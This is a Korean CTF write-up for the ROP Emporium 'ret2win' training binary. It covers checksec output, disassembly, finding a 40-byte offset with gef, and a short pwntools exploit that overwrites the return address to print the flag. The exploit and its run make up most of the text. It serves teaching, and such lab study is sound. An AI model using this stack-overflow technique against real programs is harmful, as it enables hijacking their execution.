보호 기법
gef➤ checksec
[+] checksec for '/home/kali/wargame/ROP/ret2win/ret2win'
[*] gef.py:L8789 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
코드 분석
gef➤ disas pwnme
Dump of assembler code for function pwnme:
0x0000000000400733 <+75>: lea rax,[rbp-0x20] // rax = rbp-0x20
0x0000000000400737 <+79>: mov edx,0x38 // edx = 0x38
0x000000000040073c <+84>: mov rsi,rax // rsi = rbp-0x20
0x000000000040073f <+87>: mov edi,0x0 // rdi = 0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt> // read(0, rbp-0x20, 0x38)
End of assembler dump.
gef➤ disas ret2win
Dump of assembler code for function ret2win:
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt> // system("/bin/cat flag.txt)
End of assembler dump.
gef➤ x/s 0x400943
0x400943: "/bin/cat flag.txt"
- read(0, rbp-0x20, 0x38)을 부분에서 버퍼 오버플로우 발생
- ret2win 함수로 RET를 덮으면 flag 출력 가능
Offset 찾기
gef➤ pattern create 0x100
[+] Generating a pattern of 256 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/kali/wargame/ROP/ret2win/ret2win
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fca000'
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400755 in pwnme ()
gef➤ x/gx $rsp
0x7fffffffdef8: 0x6161616161616166
gef➤ pattern search 0x6161616161616166
[+] Searching for '6661616161616161'/'6161616161616166' with period=8
[+] Found at offset 40 (little-endian search) likely
익스플로잇 코드
from pwn import *
p = process("./ret2win")
e = ELF("./ret2win")
ret2win = e.symbols['ret2win']
payload = b'A' * 40
payload += p64(ret2win)
p.sendline(payload)
p.interactive()
익스플로잇
kali@kali ~/wargame/ROP/ret2win python3 exploit.py
[+] Starting local process './ret2win': pid 1958
[*] '/home/kali/wargame/ROP/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}